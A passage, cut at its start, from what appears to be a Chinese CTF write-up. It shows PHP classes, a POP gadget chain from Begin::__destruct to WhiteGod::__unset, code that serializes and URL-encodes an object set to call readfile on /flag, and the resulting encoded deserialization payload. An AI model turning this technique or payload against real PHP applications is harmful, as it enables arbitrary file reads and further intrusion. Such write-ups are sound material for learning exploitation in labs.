        $this->obj = $a;
    }
}

class Super{
    protected  $obj;
    public function __construct($a)   
    {        
        $this->obj = $a;
    }
}

class CTF{
    public $handle;
    public function __construct($a)   
    {        
        $this->handle = $a;
    }
}

class WhiteGod{
    public $func;
    public $var;
    public function __construct($a, $b)    
    {
        $this->func = $a;        
        $this->var = $b;    
    }
}

// POP Gadget: 
// Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
$obj = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($obj));

O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蜗牛狂飙记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值